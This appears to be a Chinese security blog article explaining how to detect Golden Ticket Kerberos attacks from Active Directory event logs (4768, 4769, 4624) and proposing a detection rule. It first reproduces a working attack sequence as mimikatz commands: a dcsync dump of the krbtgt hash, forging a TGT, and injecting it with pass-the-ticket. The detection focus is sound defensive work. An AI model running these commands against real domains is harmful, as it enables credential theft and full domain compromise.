基于AD Event日志識別黃金票據攻擊
01、簡介
黃金票據(Golden Ticket)是基于Kerberos認證的一種攻擊方式,常用來做域控權限維持。當攻擊者獲取到域內krbtgt帳戶的SID和HASH,就可以隨意偽造域內管理員用戶,再加上域帳戶krbtgt的密碼基本不會更改,即使域管修改了密碼,攻擊者依然可以通過黃金票據獲取域管理員權限。
在域環境中,黃金票據無疑是一種特別危險的攻擊,是域控權限失陷的特征,基于AD Event日志如何檢測黃金票據攻擊,我們來研究一下。
02、黃金票據攻擊實例
黃金票據(Golden Ticket)的原理就是用krbtgt的hash來偽造TGT,只要擁有了高權限的TGT,就可以發送給TGS換取任意服務的ST。
(1)利用mimikatz在域控服務器導出krbtgt的SID值和哈希值。
lsadump::dcsync /domain:evil.com /user:krbtgt

(2)在域用戶的服務器上使用mimikatz偽造TGT。
kerberos::golden /admin:ceshi /domain:evil.com /sid:S-1-5-21-3269078399-3211204512-295171886 /krbtgt:51a721beadd396571257fd2d825be455 /ticket:golden.kiribi

(3)清空域用戶服務器本地票據緩存,導入偽造的黃金票據。
kerberos::purge #清空本地票據緩存kerberos::ptt golden.kiribi #導入偽造的黃金票據 kerberos::list #重新查看本地保存的票據

(4)查看域控服務器的目錄

03、黃金票據攻擊檢測
從kerberos認證流程來看,正常的用戶認證登錄生成對應的日志是:4768(請求TGT,服務名稱krbtgt) -->4769(請求TGS,服務名稱WIN-DC01$)--> 4624(登錄帳戶,登錄進程Kerberos),但是由于黃金票據攻擊已經離線生成了TGT,跳過了請求TGT這一步,日志里只會有 4769(請求TGS)-->4624(登錄帳戶),我們重點來看一下這兩條日志里對應的具體的值。
當注入黃金票據訪問服務,會出現兩次4769的事件,其中第一個4769事件請求的服務名稱是WIN-DC01$,第二個4769事件請求的krbtgt服務,伴隨著還有登錄用戶和來源ip地址。

4624事件:記錄了黃金票據偽造的帳戶名ceshi在192.168.28.20通過kerberos進行網絡登錄,這里的帳戶與SID并不一致,500代表了域管帳戶,SID以500結尾可作為特征,通過帳戶與SID的對應關系,可以找到偽造的用戶,但是如果用戶偽造的是administrator用戶就可以繞過檢測,所以需要把登錄IP地址作為判定條件,收集域管理員登錄IP地址后,識別出異常登錄IP。

黃金票據攻擊檢測規則:監測4624中LogonType為3的Kerberos登錄且SID以500結尾的日志事件,關聯到4769的請求事件,并注意觀察ServiceName的值。

實時告警效果如下:
